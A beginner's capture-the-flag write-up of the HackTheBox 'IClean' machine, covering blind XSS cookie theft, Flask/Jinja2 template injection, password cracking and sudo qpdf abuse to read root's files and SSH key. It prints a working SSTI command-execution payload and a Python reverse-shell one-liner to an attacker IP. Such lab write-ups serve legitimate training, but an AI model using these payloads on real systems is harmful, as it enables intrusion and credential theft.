root@akosibrylle.dev:~$

# capture-the-flag is love!


HackTheBox - IClean --- ![HackTheBox IClean logo](https://miro.medium.com/v2/resize:fit:728/format:webp/1*m6aVLBXvTNZspdttZNsGMQ.png) Foreword -------- Welcome to my first cybersecurity writeup! I am a Computer Engineering freshman with coding and cybersecurity as a hobby. For my inaugural writeup, I’d like to tackle HackTheBox’s **IClean**, which is also my very first Medium level machine I pwned (I come from tryhackme and only recently have I started on HackTheBox). Setting Up ---------- Before anything else, we must first ensure that we’re connected to HackTheBox’s Lab OpenVPN. ![captionless image](https://miro.medium.com/v2/resize:fit:608/format:webp/1*GzgFd95rNDGgDoUwsaZ1Gg.png) Like other machine, I also like to add iclean.htb to the hosts file, however, copy and pasting the machine’s IP address to a redirects to [http://capiclean.htb](http://capiclean.htb) so I just opted for capiclean.htb to add to the hosts file. (it might be because our VPN connection to HackTheBox automatically resolves it). ![captionless image](https://miro.medium.com/v2/resize:fit:522/format:webp/1*FhB3fLYF5FbPXqiKXmAfjA.png)![Contents of /etc/hosts file; Refer to the last line for capiclean.htb](https://miro.medium.com/v2/resize:fit:1282/format:webp/1*gjuJQRC16-SHMfapP-A4yw.png) Check the machine if it’s alive, and we have confirmed below that it is. ![captionless image](https://miro.medium.com/v2/resize:fit:1216/format:webp/1*eqAGR0tXx87pwjlx-z5pHg.png) Now, let’s break stuff! ❤ Initial Reconnaissance ---------------------- A simple nmap scan reveals to us that there are two services running: an SSH and HTTP server. I went and analyzed the web server if it’s something we can exploit, if not, I can just enumerate capiclean.htb again but more thoroughly. ![SSH and HTTP server running on capiclean.htb](https://miro.medium.com/v2/resize:fit:1114/format:webp/1*rY-3KW1G8qTJ_2oM_oryHg.png) Here is what the HTTP server is running, it looks like a website for a cleaning service company or some sort. ![HTTP web server on capiclean.htb](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*UL0ebgcaNBqcJEALhFUEfg.png) I enumerated the website manually while using wfuzz to discovery some juicy contents. ![wfuzz results](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*-KYgUby-S0RflXKZx1Jjzw.png) Upon checking, there seems to be a /_dashboard_ page that’s only accessible after logging in. I also checked the login page, but it doesn’t seem to be vulnerable to SQLi injection, even when using burpsuite to bypass client-side filters. All of the pages were just information with nothing to abuse aside from _/quote_ that allowed me to input some data. ![/quote page](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*cpm2jhndRfs9JuGUIfkCDQ.png) I immediately transferred to burpsuite and try to check some vulnerabilities. I also used burpsuite’s builtin browser so I don’t have to set up proxies anymore. Discovering and Abusing a Blind XSS Vulnerability ------------------------------------------------- I tried submitting some garbage data but it doesn’t seem to do anything, it’s probably getting sent to their database, so I checked for blind vulnerabilities and after a long trial and error and reading forums for tips, behold: it’s a blind XSS vulnerability confirmed by running a python3 web server on my end and sending a GET request to it using XSS injection. The payload contains an invalid html src attribute prompting the onerror attribute to run a JavaScript code to send a get request to the specified parameter. > ![Burpsuite XSS payload](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*mOIljSJ7jia2R49EJHEq2g.png)![capiclean.htb sends a GET request to my webserver via an abused XSS vulnerability](https://miro.medium.com/v2/resize:fit:1118/format:webp/1*-pH9ACTxr5hA6VjqQY6lpg.png) Cool, now what? Well just like some other XSS vulnerabilities I’ve exploited in other machines before, I tried to extract document.cookie, that might be a way for me to login in the website. Now unfortunately, there seems to be some kind of WAF (Web Application Firewall) that’s not letting me run this payload below: > I’m not receiving any requests on my webserver. Is the ‘+’ sign blocked? I tried doing > …and it doesn’t work either, so I used string interpolation in JavaScript to test. > ![JavaScript string interpolation bypassed some sort of WAF](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*7EWV2lKu-PqlUXxhqPRxNA.png) It worked! Now I have a session cookie, this must be for the authentication in _/dashboard._ I used a browser extension that let’s me add/edit the cookies for a website, it can really be anything as long as it can add/edit cookies. ![Setting the authentication cookie](https://miro.medium.com/v2/resize:fit:768/format:webp/1*nWUjHTuoJxRZV20FDhYiQA.png) Let’s see if I can access something I shouldn’t be allowed to… More enumeration… ----------------- ![Accessing /dashboard](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*FCKbp_ZKV6AKgk-dg8d27w.png) Woops! Looks like I’m in:) I checked each options one by one and nothing seems expoitable. I tried SQLi, XSS, tried using burpsuite as well but nothing. I was able to notice that I can generate an Invoice in **Generate Invoice** ![Generating Invoice](https://miro.medium.com/v2/resize:fit:746/format:webp/1*74TJu1tr8bLUWUqvmwjPHA.png) Who made this website? lol, I can’t see the generated Invoice ID properly, but it can be extracted by viewing the page source. ![Invoice ID](https://miro.medium.com/v2/resize:fit:738/format:webp/1*Eg4-PrUKw5BBuHuHgtpsbg.png) I was able to use the generated Invoice ID to the **Generate QR** page to generate a QR code image. ![Generating a QR code](https://miro.medium.com/v2/resize:fit:930/format:webp/1*vNe6VsWp-XfEUUqkV3T4XA.png) The QR code link is just an image, and scanning it just points to a link to itself. Putting the QR link on the input field above shows what seems to be a receipt with the same QR code on the bottom. ![Generated receipt](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*z5iMWvZM9MDdJH2FG6FDKQ.png) I thought this may be a way for me to read files in the server but nope, it looks like it takes the QR code images and turns it into base64, but it seems like it’s another XSS injection? the /etc/passwd payload I submitted as input is reflected here. ![captionless image](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*jbgJ8l-eHHYOYymW0Dh3hA.png) I tried and analyzed further but XSS injection seems out of the question, I have privilege over the website already. While I was close to running out of options I realized I never knew what stack the website is running on. I used whatweb to learn that… ![It’s running on a Python webserver! Could it be Flask?](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*h0q-xFQ2CR54Qfap_riTwA.png) It’s running on a Python web server! It might be Flask which means it’s probably susceptible to SSTI… nothing wrong in giving it a try… ![A Jinja2 template for a Flask webserver](https://miro.medium.com/v2/resize:fit:542/format:webp/1*2Gcyqn1PqB1NIKhyAHaTvw.png)![{{ 5+5 }} equals 10?](https://miro.medium.com/v2/resize:fit:748/format:webp/1*7vNNxbBBUwtv6GrUYc0Yug.png) Woah woah woah, I got a bit surprised here, I didn’t think it would actually work but the template {{ 5+5 }} worked? It evaluated to 10! I cooked up some XSS along with it so I can see it directly on the webpage instead of inspecting the source. Here’s the final payload. > “>
{{ 5+5 }}
“>
{{ (dict.mro()[-1]|attr(“\x5f\x5fsubclasses\x5f\x5f”))()[365](‘cat *’,shell=True,stdout=-1).communicate()[0].strip()}} }}
python3 -c \’import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.58”,7878));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)\’ I also set up a listener in port 7878 and there we go, foothold! I also upgraded my dumb shell so the output is better. ![Initial foot hold](https://miro.medium.com/v2/resize:fit:1094/format:webp/1*Dqvtt5ng5aH0BlaqynF4og.png) Remembering the database credentials earlier, and after reading the contents of _app.py_ I knew it was MySQL server running internally, and so I immediately used the credentials to log in. ![Accessing internal MySQL server](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*AVybnj9XTBqVeqIcXpl_kg.png) Delicious… 🤪 ![User accounts!](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*O8NG8jk2mOMpGbIsYP671Q.png) I tried using crackstation first before using tools for bruteforcing the passwords just to make sure. …and this is why keep your passwords unique and strong. ![consuela’s password cracked!](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*wxQH9rEnlGZ1LtVwtleufA.png) Reading root.txt and privilege escalation ----------------------------------------- Afraid that my shell might die and I’ll have to start again by uploading my payload, I immediately tried consuela’s account in SSH. ![consuela’s ssh access](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*geCHfcg8tlgeemyzbSkVtA.png) “You’ve got mail!”, reading /var/mail/consuela reveals… ![/var/mail/consuela contents](https://miro.medium.com/v2/resize:fit:1382/format:webp/1*pXRD3bZZSjHEdGKQ6T49AA.png) Hmmmm… I don’t know what invoices he’s talking about, anyways! I also ran **sudo -l** to check what I’m able to do. ![qpdf can be run using sudo](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*EVXBhaR0Il0D1xJRNRy6SQ.png) I can run qpdf! Wait- what’s that? It’s a pdf reader but unfortunately, its manual using the **— help** flag is confusing! I resorted to using the online documentation and learned that I can attach files to .pdf files. Meaning to say I can extract /root/root.txt by using a sample .pdf and so I went to look for any .pdf files present in the system. ![One present pdf file](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*0PfatQNzKS7z-qYTylgblA.png) Looks like we have one. Referring to the online manual available here: [https://qpdf.readthedocs.io/en/stable/](https://qpdf.readthedocs.io/en/stable/), Here is how I can attach files: > sudo qpdf /usr/share/doc/shared-mime-info/shared-mime-info-spec.pdf — add-attachment /root/root.txt — asd.pdf ![adding root.txt to asd.pdf output file](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*OCRR_vPw2a_hE6JBU27bHQ.png) And to extract: ![extracting root.txt contents](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*DEkKECgGwHibnqyi5qdYCQ.png) Finally got the root flag! In real case scenarios, we are able to read anything in the system, even the **/root** folder. However, my ego will never forgive me because we never actually got root! Let’s root this machine then!:) To do that let’s extract the root user’s /root/.ssh/id_rsa which we can use instead of a password in SSH. ![adding id_rsa and extracting contents](https://miro.medium.com/v2/resize:fit:1400/format:webp/1*JU2iqkE7ETkaZSXz8WAhwA.png) It’s important that id_rsa has secure permissions to prevent others from writing/reading it (Maybe the root user should’ve known this). Let’s log in as root! ![Logging in as root…](https://miro.medium.com/v2/resize:fit:970/format:webp/1*MRMv5atRWlZztagitC7iZg.png) Now I am root! ❤ ![i am root!](https://miro.medium.com/v2/resize:fit:774/format:webp/1*3wBWcA_7DfsbAPTtDSKySw.png) I basically am the owner of the entire system now! I have full control over everything:) In real life scenarios you might wanna do post-exploitation such as adding persistence, pivoting, etc. But don’t do that, that’s illegal. Conclusion ---------- Overall the machine was a mix of bad code and misconfigured permissions for files. The machine was relatively easy for a medium machine although it could have been harder without some guide on the internet to actually gain foothold. Thanks for reading my first ever writeup! I will write more in the future, although I’m quite satisfied to release my own after reading hundreds of others in the last 3 years or so. Until next time!:)